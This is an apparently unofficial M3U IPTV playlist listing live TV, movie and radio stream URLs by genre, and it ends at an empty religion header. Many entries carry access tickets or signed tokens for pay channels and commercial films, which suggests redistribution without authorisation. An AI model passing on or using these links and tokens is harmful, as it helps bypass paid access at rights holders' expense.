https://livetvhooq.akamaized.net/b1b6d552c80f4ef78bd4c10bfb32268d/eu-central-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1574876064~exp=9007200829617055~acl=/b1b6d552c80f4ef78bd4c10bfb32268d/*/profile_2/chunklist.m3u8*~hmac=43e732720209b4ede047d32a879e517cc1f2b74fc30d7793054e461b394dfe57 #EXTINF:-1 tvg-logo="https://vignette.wikia.nocookie.net/logopedia/images/3/3c/Foodie.png/revision/latest?cb=20190207074112" group-title="LIFESTYLE",Foodie Channel http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:foodiee/chunklist_b2288000.m3u8 #EXTINF:-1 tvg-logo="https://vignette.wikia.nocookie.net/logopedia/images/3/3c/Foodie.png/revision/latest?cb=20190207074112" group-title="LIFESTYLE",Foodie Channel (1) http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:foodiee/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="LIFESTYLE",ASIAN FOOD CHANNEL https://liveanevia.mncnow.id/live/eds/AFC/sa_hls/AFC-avc1_1000000=6-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSMJU_9tQ7p7AL9yxk99lg7Ajr7muv151xM9D6HJObyzuJ3Z7Uu" group-title="LIFESTYLE",OCEAN TV http://live-oceantvhd.cdnvideo.ru/oceantvhd/oceantvhd/chunklist.m3u8 ############################################### DOCUMENTARY ################################################ #EXTINF:-1 tvg-logo="https://i.imgur.com/yN2fxBu.png" group-title="DOCUMENTARY", TV5 ASIA http://rr2.dens.tv/s/s24/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY", RTP INTERNATIONAL http://rr2.dens.tv/s/s38/index.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY",National Geographic http://livecdnh1.tvanywhere.ae/hls/nat_geo/05.m3u8?IWAK-PEYEK.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY",National Geographic (1) http://203.153.218.28:9981/stream/channelid/681683355?ticket=6125EF8C23E1DC1183AD45B22AB25E348AB2CB97&profile=pass #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY",National Geographic (2) https://liveanevia.mncnow.id/live/eds/NatGeoChannel/sa_hls/NatGeoChannel-avc1_2499968=10-mp4a_98800_eng=4.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY", NAT GEO WILD http://livecdnh1.tvanywhere.ae/hls/nat_geo_wild/05.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY", NAT GEO WILD (1) https://liveanevia.mncnow.id/live/eds/NatGeoWild/sa_hls/NatGeoWild-avc1_2499968=10-mp4a_98800_eng=5.m3u8http://203.153.218.28:9981/stream/channelid/1497533758?ticket=A1217AFD7D4BACB9F66B9B369E8BC5B02FB0CEE4&profile=pass #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY", NAT GEO PEOPLE https://liveanevia.mncnow.id/live/eds/NatGeoPeople/sa_hls/NatGeoPeople-avc1_2499968=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/1iDqMdp" group-title="DOCUMENTARY", DISCOVERY ID http://203.153.218.28:9981/stream/channelid/1151931232?ticket=078500147F811BFE771335FA49291072620A412D&profile=pass #EXTINF:-1 tvg-logo="https://imgur.com/1iDqMdp" group-title="DOCUMENTARY", DISCOVERY ID (1) http://203.153.218.28:9981/stream/channelid/1868154562?ticket=3447A71572697A20883C796D7F6C137B2F95FF0C&profile=pass #EXTINF:-1 tvg-logo="https://imgur.com/1iDqMdp" group-title="DOCUMENTARY", DISCOVERY ID (2) https://liveanevia.mncnow.id/live/eds/Discovery/sa_hls/Discovery-avc1_2499968=13-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/JsQHmHW" group-title="DOCUMENTARY", ANIMAL PLANET http://203.153.218.28:9981/stream/channelid/1943600623?ticket=B9755D3F6F97FAC8FEFC0E14BC05B2F2CE0CDB76&profile=pass #EXTINF:-1 tvg-logo="https://imgur.com/JsQHmHW" group-title="DOCUMENTARY", ANIMAL PLANET (1) https://liveanevia.mncnow.id/live/eds/AnimalPlanet/sa_hls/AnimalPlanet-avc1_1000000=16-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://commodusprod.hooq.tv/cdnimagesprod/assets/feed/34c6ccfc44fa.png" group-title="DOCUMENTARY",THE PET COLLECTIVE https://livetvhooq.akamaized.net/b31c750a9bbe45fcbe58d72534e6b8f6/ap-southeast-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1577080744~exp=9007200831821735~acl=/b31c750a9bbe45fcbe58d72534e6b8f6/*/profile_2/chunklist.m3u8*~hmac=baa54452db02d00d42b3b34565dd2c7ac10da7fdec56bbe1e717ce4fccaba918 #EXTINF:-1 tvg-logo="https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcTupMmB3cw51YJqk8xVO8WZj3yDVr70ayrxkkLS0_SMNT7pR0t6" group-title="DOCUMENTARY",NASA TV http://iphone-streaming.ustream.tv/uhls/6540154/streams/live/iphone/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY",BBC EARTH https://liveanevia.mncnow.id/live/eds/BBCEarth/sa_hls/BBCEarth-avc1_1000000=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/tRR4zY8" group-title="DOCUMENTARY", CGTN DOCUMENTARY http://45.126.83.51:80/qwr9ew/s/s20/01.m3u8 #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY",OUTDOOR CHANNEL https://livetvhooq.akamaized.net/4333904e5f68426cae808a645e882206/eu-central-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1576672231~exp=9007200831413222~acl=/4333904e5f68426cae808a645e882206/*/profile_2/chunklist.m3u8*~hmac=d22ed12147e6fe5936f8198fcf71838cb4651880f2ac0f4fdea39fb2b8a054b7 ################################################ SPORTS ############################################ #EXTINF:-1 tvg-logo="" group-title="SPORTS",MNC SPORT 1 https://liveanevia.mncnow.id/live/eds/MNCSports/sa_hls/MNCSports-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",MNC SPORT 2 https://liveanevia.mncnow.id/live/eds/SoccerChannel/sa_hls/SoccerChannel-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",TVRI SPORT http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRI4)/Stream(03)/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",SPORTSMAX http://161.0.157.5/PLTV/88888888/224/3221226766/03.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Fight Sports https://liveanevia.mncnow.id/live/eds/FightSports/sa_hls/FightSports-avc1_2499968=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",FOX Sport 1 https://liveanevia.mncnow.id/live/eds/FOXSports/sa_hls/FOXSports-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",FOX Sport 2 https://liveanevia.mncnow.id/live/eds/FoxSports2/sa_hls/FoxSports2-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",FOX Sport 3 https://liveanevia.mncnow.id/live/eds/FoxSports3/sa_hls/FoxSports3-avc1_2499968=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",RTSH Sport http://79.106.48.2/live/rtsh_sport_ott_p3/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony Ten 1 https://streamer-1.toffeelive.com/live/sony_ten1_hd_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony Ten 2 https://streamer-1.toffeelive.com/live/sony_ten2_hd_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony Ten 3 https://streamer-1.toffeelive.com/live/ten_3_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony TEN 3 (Live) http://163.172.85.133:8080/TenS/3/index.m3u8 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="SPORTS",SONY SIX https://streamer-1.toffeelive.com/live/sony_six_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony ESPN https://streamer-1.toffeelive.com/live/sony_espn_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS", ASTRAKHAN RU SPORTS http://streaming.astrakhan.ru:80/astrakhanrusporthd/tracks-v3a1/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/WayudGQ.png" group-title="SPORTS", DUBAI RACING UAE http://dmisvthvll.cdn.mangomolo.com/events/smil:events.smil/chunklist_b1600000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ZNXc0rt.png" group-title="SPORTS", REAL MADRID TV ESP http://rmtvlive-lh.akamaihd.net/i/rmtv_1@154306/index_0450_av-p.m3u8?sd=10&rebase=on #EXTINF:-1 tvg-logo="" group-title="SPORTS", SETANTA SPORT 1 http://ott-cdn.ucom.am:80/s81/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="SPORTS", ALL SPORTS LTN http://tv01.logicahost.com.br:1935/dgrau/dgrau/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8ic79Gy.png" group-title="SPORTS", ONE GOLF PKS http://162.250.201.58:6211/pk/ONEGOLF/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS", CCTV5+ http://111.40.205.89:80/wh7f454c46tw1799532567_1587556162/PLTV/88888888/224/3221225689/index.m3u8?icpid=88888888&RTS=1561695193&from=0&hms_devid=203,223 ############################################# KIDS ################################################################ #EXTINF:-1 tvg-logo="https://i.imgur.com/MwVwCln.png" group-title="KIDS", DISNEY JUNIOR ID http://103.47.132.164/PLTV/88888888/224/3221226011/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/MwVwCln.png" group-title="KIDS", DISNEY JUNIOR ID (1) http://103.47.132.164:80/PLTV/88888888/224/3221226011/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qt7HTq2.png" group-title="KIDS", DISNEY CHANNEL https://liveanevia.mncnow.id/live/eds/DisneyChannel/sa_hls/DisneyChannel-avc1_2499968=7-mp4a_98800_ind=9.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qt7HTq2.png" group-title="KIDS", DISNEY CHANNEL (1) http://203.153.218.28:9981/stream/channelid/31701170?ticket=7EBA9919CF424955624136DA7C78C1A9C52153D4&profile=pass #EXTINF:-1 tvg-id="9836fd0e31a19540234d0fe226ec84af" group-title="KIDS",CARTOON NETWORK https://liveanevia.mncnow.id/live/eds/CartoonNetwork/sa_hls/CartoonNetwork-avc1_2499968=10-mp4a_98800_ind=16.m3u8 #EXTINF:-1 tvg-id="9836fd0e31a19540234d0fe226ec84af" group-title="KIDS",CARTOON NETWORK (1) http://203.153.218.28:9981/stream/channelid/251475608?ticket=3CBFB27E68B1DFEAB62E7781784EE2C7BFA92754&profile=pass #EXTINF:-1 tvg-id="9836fd0e31a19540234d0fe226ec84af" group-title="KIDS",CARTOON NETWORK (2) http://188.35.9.11:21151/udp/185f #EXTINF:-1 tvg-logo="" group-title="KIDS", NICKELODEON http://203.153.218.28:9981/stream/channelid/648970596?ticket=46A461134024F7B021E4EEAF0EA4283BD6CDD078&profile=pass #EXTINF:-1 tvg-logo="" group-title="KIDS",NICKELODEON (2) https://liveanevia.mncnow.id/live/eds/Nickelodeon/sa_hls/Nickelodeon-avc1_1000000=8-mp4a_98800_eng=4.m3u8 #EXTINF:-1 tvg-logo="" group-title="KIDS",NICK JR https://liveanevia.mncnow.id/live/eds/NickJr/sa_hls/NickJr-avc1_1000000=8-mp4a_98800_eng=4.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX http://210.210.155.35/dr9445/h/h144/02.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX (1) http://210.210.155.35:80/dr9445/h/h144/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX (2) https://liveanevia.mncnow.id/live/eds/Animax/sa_hls/Animax-avc1_2499968=11-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX (3) http://210.210.155.35/session/cdd823d2-de1c-11e9-833b-bd1595c9931a/dr9445/h/h144/index2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5RcQ3qq.png" group-title="KIDS", ANIPLUS http://210.210.155.35/session/0d216142-f3f5-11e8-ab67-89df93dc8d44/dr9445/h/h02/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5RcQ3qq.png" group-title="KIDS", ANIPLUS (1) http://210.210.155.35:80/dr9445/h/h02/01.m3u8 #EXTINF:-1 tvg-logo="https://banner2.cleanpng.com/20180721/aq/kisspng-boomerang-logo-television-channel-tom-and-jerry-dog-5b53c4af10de42.3513045215322164950691.jpg" group-title="KIDS",Boomerang https://liveanevia.mncnow.id/live/eds/Boomerang/sa_hls/Boomerang-avc1_2499968=10-mp4a_98800_ind=15.m3u8 #EXTINF:-1 tvg-logo="https://banner2.cleanpng.com/20180721/aq/kisspng-boomerang-logo-television-channel-tom-and-jerry-dog-5b53c4af10de42.3513045215322164950691.jpg" group-title="KIDS",Boomerang (1) http://livecdnh3.tvanywhere.ae/hls/boomerang/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/thumb/5/53/Ducktv-logo.jpg/125px-Ducktv-logo.jpg" group-title="KIDS",Duck TV http://livecdnh3.tvanywhere.ae/hls/duck/06.m3u8 #EXTINF:-1 tvg-logo="https://movies.chanelbanten.com/uploads/tv_image/ebs-kids.png" group-title="KIDS",EBS Kids http://ebsonair.ebs.co.kr:1935/ebsutablet500k/tablet500k/playlist.m3u8 #EXTINF:-1 tvg-logo="http://www.logovaults.com/stock_thumb/preview-baby-tv-2013-01-27.jpg" group-title="KIDS",Baby TV https://liveanevia.mncnow.id/live/eds/BabyTV/sa_hls/BabyTV-avc1_2499968=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="http://www.logovaults.com/stock_thumb/preview-baby-tv-2013-01-27.jpg" group-title="KIDS",Baby TV (1) https://www.livedoomovie.com/02_Baby_TV_HD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="" group-title="",KIDS TV https://anevia115.mncnow.id:443/live/eds/KidsChannel/sa_hls/KidsChannel-avc1_1000000=9-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://tbivision.com/files/2015/05/miao-logo.jpg" group-title="KIDS",Miao Mi https://d3kw4vhbdpgtqk.cloudfront.net/hls/miaomipcweb/04.m3u8 #EXTINF:-1 tvg-logo="https://tbivision.com/files/2015/05/miao-logo.jpg" group-title="KIDS",Miao Mi (1) https://d3kw4vhbdpgtqk.cloudfront.net/hls/miaomipcweb/prog_index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/gsBmKtz" group-title="KIDS", MY KIDS http://210.210.155.35:80/x6bnqe/s/s113/index.m3u8 #EXTINF:-1 tvg-logo="https://vignette.wikia.nocookie.net/logopedia/images/2/2a/NickToons_TV.svg/revision/latest/scale-to-width-down/200?cb=20091118204932" group-title="KIDS",NickToons http://213.252.252.17/live/eds/Nicktoons/HLS_encr/Nicktoons.m3u8 #EXTINF:-1 tvg-logo="" group-title="KIDS",SPACETOON http://95.170.215.109:80/hls/m3u8/Spacetoon-Backup.m3u8 ############################################## VOD MOVIES ############################################################# #EXTINF:-1 group-title="VOD MOVIES",A MONSTER CALLS https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/17303/695/982f8af7-fae4-44b0-bead-0a8b998be55e/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",THE HOST https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/2e72dfe0-9aec-4a58-b9d3-fa16ee0af281/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",THE HUNGER GAMES: CATCHING FIRE https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/b8bc096c-fbe9-4a96-a6b8-510fd43156d8/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",WARM BODIES https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/b546df13-c81c-40bb-a61a-f947764a5b9a/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",YOU NOW SEE ME https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/92a8954a-1873-4f61-85e6-20ad323ff6a3/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",YOU NOW SEE ME 2 https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/e86b43d6-e58a-4ca1-8480-fe88ffa72b16/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd ############################################## NEWS CHANNEL ############################################################# #EXTINF:-1 tvg-logo="https://i.imgur.com/rcjrFI5.png" group-title="NEWS", EURONEWS http://rr2.dens.tv/s/s15/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/rcjrFI5.png" group-title="NEWS", EURONEWS (1) http://45.126.83.51:80/qwr9ew/s/s15/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/W8htla7.png" group-title="NEWS", VOA http://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Uw0WjCn.png" group-title="NEWS", SKY NEWS UK http://skydvn-nowtv-atv-prod.skydvn.com/atv/skynews/1404/live/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EhYVbtU.png" group-title="NEWS", BLOOMBERG (1) http://210.210.155.35:80/uq2663/h/h03/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EhYVbtU.png" group-title="NEWS", BLOOMBERG (2) http://cdn-videos.akamaized.net/btv/desktop/akamai/europe/live/primary.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oyOKkCv.png" group-title="NEWS", CBS NEWS http://cbsnewshd-lh.akamaihd.net/i/CBSNHD_7@199302/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oeO07RV.png" group-title="NEWS", CBN NEWS http://bcliveuniv-lh.akamaihd.net/i/news_1@194050/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/glVPwVs.png" group-title="NEWS", BBC NEWS http://bbcwshdlive01-lh.akamaihd.net/i/ptv_1@78015/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AKp8QKR.png" group-title="NEWS", TRT WORLD http://210.210.155.35/x6bnqe/s/s72/S4/mnf.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/BXFVV2w.png" group-title="NEWS", NHK WORLD http://rr.dens.tv/h/h23/index.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/JV8j6aE" group-title="NEWS", NHK WORLD (1) http://210.210.155.35:80/uq2663/h/h23/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/2uzOb7f.png" group-title="NEWS", RUSSIA TODAY http://rr2.dens.tv/s/s23/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/2uzOb7f.png" group-title="NEWS", RUSSIA TODAY (1) http://45.126.83.51:80/qwr9ew/s/s23/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7h3iTvm.png" group-title="NEWS", AL JAZEERA ENG http://rr2.dens.tv/s/s17/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7h3iTvm.png" group-title="NEWS", AL JAZEERA DOC http://aljazeera-doc-apple-live.adaptive.level3.net/apple/aljazeera/hq-doc/800kStream.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7h3iTvm.png" group-title="NEWS", AL JAZEERA UAE http://rr2.dens.tv/s/s16/index.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/9RjEXoP" group-title="NEWS", PHOENIX INFONEWS http://45.126.83.51:80/qwr9ew/s/s21/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/i5jxspk.png" group-title="NEWS", FRANCE 24 http://45.126.83.51:80/qwr9ew/s/s22/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/i5jxspk.png" group-title="NEWS", FRANCE 24 (1) http://rr2.dens.tv/s/s22/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/IflDJAd.png" group-title="NEWS", DW ENGLISH http://rr2.dens.tv/s/s26/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/IflDJAd.png" group-title="NEWS", DW ENGLISH (1) http://45.126.83.51:80/qwr9ew/s/s26/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/npB8eRj.png" group-title="NEWS", RTE NEWS http://wmsrtsp1.rte.ie/live/android.sdp/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ndeh56Q.png" group-title="NEWS", NEWS MAX NOW http://nmxlive.akamaized.net/hls/live/529965/Live_1/index_720.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/PeeLMp4.png" group-title="NEWS", CNA NEWS http://210.210.155.35:80/uq2663/h/h29/index.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/W5hxYHY" group-title="NEWS", TV5 MONDE ASIA http://45.126.83.51:80/qwr9ew/s/s24/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1T0ufy9.png" group-title="NEWS", FOX 5 NEW YORK http://api.new.livestream.com/accounts/9263055/events/3189799/live.m3u8 ################################################ RADIO CHANNEL ################################################ #EXTINF:-1 tvg-logo="https://imgur.com/bZWPn27" group-title="RADIO", PRAMBORS JKT http://masima.rastream.com/masima-pramborsjakarta #EXTINF:-1 tvg-logo="https://imgur.com/MSDrIRv" group-title="RADIO", KIS FM JKT http://rly-mari.svara.fm:8000/kis_noauth #EXTINF:-1 tvg-logo="https://imgur.com/J1Q4sAk" group-title="RADIO", MUSTANG JKT http://103.246.184.34:8000/mustang #EXTINF:-1 tvg-logo="https://imgur.com/2fVgjhS" group-title="RADIO", I RADIO JKT http://cloudstreaming.mramedia.com:8000/live #EXTINF:-1 tvg-logo="https://imgur.com/E3uI0VD" group-title="RADIO", HARD ROCK FM JKT http://cloudstreaming.mramedia.com:8001/live #EXTINF:-1 tvg-logo="https://imgur.com/4QarMHJ" group-title="RADIO", TRAXX FM JKT http://cloudstreaming.mramedia.com:8003/live #EXTINF:-1 tvg-logo="https://imgur.com/dHmwXCQ" group-title="RADIO", NAGASWARA JKT http://bogor.nagaswarafm.com:8088/stream #EXTINF:-1 tvg-logo="https://imgur.com/omUkP03" group-title="RADIO", JAK FM JKT http://103.246.184.34:8000/jak #EXTINF:-1 tvg-logo="https://imgur.com/w3sM8xP" group-title="RADIO", GEN FM JKT http://103.246.184.34:8000/genfm #EXTINF:-1 tvg-logo="https://imgur.com/u5AeEXc" group-title="RADIO", VIRGIN RADIO JKT http://14933.live.streamtheworld.com/VIRGINRADAAC_SC #EXTINF:-1 tvg-logo="https://imgur.com/3XvCPjN" group-title="RADIO", COSMOPOLITAN FM JKT http://cloudstreaming.mramedia.com:8002/live #EXTINF:-1 tvg-logo="https://imgur.com/sxOB1Gs" group-title="RADIO", BAHANA FM JKT http://103.16.199.177:8102/; #EXTINF:-1 tvg-logo="https://imgur.com/KkqllU1" group-title="RADIO", HITZ FM JKT https://s2.radio.co/s6929cb202/listen #EXTINF:-1 tvg-logo="https://imgur.com/CKhSJnQ" group-title="RADIO", RDI FM JKT http://202.147.199.99:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/T8jQmfJ" group-title="RADIO", HOT FM JKT http://103.246.184.34:8000/dut #EXTINF:-1 tvg-logo="https://imgur.com/1AT0FH6" group-title="RADIO", ARDAN RADIO http://listento.ardanradio.com:1059/; #EXTINF:-1 tvg-logo="https://imgur.com/uIyrxIp" group-title="RADIO", OZ RADIO http://s3.vinhostmedia.com:1031/;stream/1 #EXTINF:-1 tvg-logo="https://imgur.com/YeE917q" group-title="RADIO", FEMALE RADIO JKT http://masima.rastream.com/masima-femaleradio #EXTINF:-1 tvg-logo="https://imgur.com/L7FtjCo" group-title="RADIO", DELTA FM JKT http://103.16.199.47:8602/; #EXTINF:-1 tvg-logo="https://imgur.com/cN3Jotq" group-title="RADIO", ELSHINTA RADIO http://202.137.4.147:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/nQVfXAp" group-title="RADIO", SINDO RADIO http://202.147.199.101:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/Ovw3cQS" group-title="RADIO", SONORA FM JKT http://101.50.0.77:8000/sonora.aac #EXTINF:-1 tvg-logo="https://imgur.com/NPasPUz" group-title="RADIO", RADIO RODJA http://live2.radiorodja.com/;stream.mp3?_=1 #EXTINF:-1 tvg-logo="https://imgur.com/VsszUXE" group-title="RADIO", RADIO ISLAM INDONESIA http://tashfiyah.radioislam.my.id:8222/;stream/1 #EXTINF:-1 tvg-logo="https://imgur.com/xaQjEbK" group-title="RADIO", DAKWAH SUNNAH http://live.dakwahsunnah.com/;stream.mp3 #EXTINF:-1 tvg-logo="https://imgur.com/xD7qGfy" group-title="RADIO", RADIO RASIL http://203.24.76.112:8000/stereo #EXTINF:-1 tvg-logo="https://imgur.com/PzziPCd" group-title="RADIO", RADIO QU http://live.radioquonline.com:8199/;stream.mp3 #EXTINF:-1 tvg-logo="https://imgur.com/Bhxl8rj" group-title="RADIO", ARRISALAH FM http://u.klikhost.net:7212/; #EXTINF:-1 tvg-logo="https://imgur.com/JLMYpM4" group-title="RADIO", SUARA MUSLIM http://radio.useetv.com:8024/; #EXTINF:-1 tvg-logo="https://imgur.com/Jf5pq4W" group-title="RADIO", RADIO KITA FM http://live.radiosunnah.net/; #EXTINF:-1 tvg-logo="https://imgur.com/Pb7x9wU" group-title="RADIO", ADS RADIO http://175.103.56.9:8009/; #EXTINF:-1 tvg-logo="https://imgur.com/QbuTMgX" group-title="RADIO", AT TAQWA FM http://103.28.148.18:8840/; #EXTINF:-1 tvg-logo="https://imgur.com/9Or8RFi" group-title="RADIO", BENS RADIO JKT http://175.103.58.72:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/2WZLMZM" group-title="RADIO", IROCK https://streamer.radio.co/s493283a7e/listen #EXTINF:-1 tvg-logo="https://imgur.com/8kccVev" group-title="RADIO", PULSE EDM http://naxos.cdnstream.com/1373_128 #EXTINF:-1 tvg-logo="https://imgur.com/e4pYhmg" group-title="RADIO", MIX 247 EDM http://217.116.9.142:9222/stream #EXTINF:-1 tvg-logo="https://i.imgur.com/Vi1QWUy.png" group-title="RADIO", NEXUS DANCE http://icecast2.nexusradio.fm/nexusdance.mp3 #EXTINF:-1 tvg-logo="https://i.imgur.com/HY50Ytl.png" group-title="RADIO", EURODANCE CLASSIC http://hazel.torontocast.com:1310/stream #EXTINF:-1 tvg-logo="https://imgur.com/3sZbPlr" group-title="RADIO", THE RAP MIXX US http://ais-sa2.cdnstream1.com/1988_64.aac #EXTINF:-1 tvg-logo="" group-title="RADIO", GotRadio The 50's http://pureplay.cdnstream1.com/6005_128.mp3 #EXTINF:-1 tvg-logo="" group-title="RADIO", Addictive 50s http://cristina.torontocast.com:8022/stream #EXTINF:-1 tvg-logo="" group-title="RADIO", ABC 50's http://bluford.torontocast.com:8582/stream #EXTINF:-1 tvg-logo="" group-title="RADIO", 1.FM - Back To The 50's & 60's Radio http://strm112.1.fm/60s_70s_mobile_mp3 #EXTINF:-1 tvg-logo="" group-title="RADIO", Mega1050 50s http://s41.myradiostream.com:34408/; #EXTINF:-1 tvg-logo="" group-title="RADIO", 88.5 FM So Cal http://130.166.82.184:8000/; #EXTINF:-1 tvg-logo="" group-title="RADIO", Radio Caroline http://sc6.radiocaroline.net:8040/; #EXTINF:-1 tvg-logo="" group-title="RADIO", triple j http://live-radio01.mediahubaustralia.com/2TJW/mp3/ #EXTINF:-1 tvg-logo="" group-title="RADIO", K-ROCK 97.5 http://newcap.leanstream.co/VOCMFM-MP3?args=tunein_01 #EXTINF:-1 tvg-logo="https://imgur.com/ddNO0Hg" group-title="RADIO", Radio Paradise http://stream-tx3.radioparadise.com/mp3-192 #EXTINF:-1 tvg-logo="https://imgur.com/Y1KhGNx" group-title="RADIO", Classic Rock 93.9 WDNY-FM http://streaming.dansvillemedia.com/wdnyfm-proc.mp3 #EXTINF:-1 tvg-logo="https://imgur.com/vv3z01Y" group-title="RADIO", The Metal MIXX http://listen.djcmedia.com/metalmixxhigh ################################################ RELIGION ################################################ 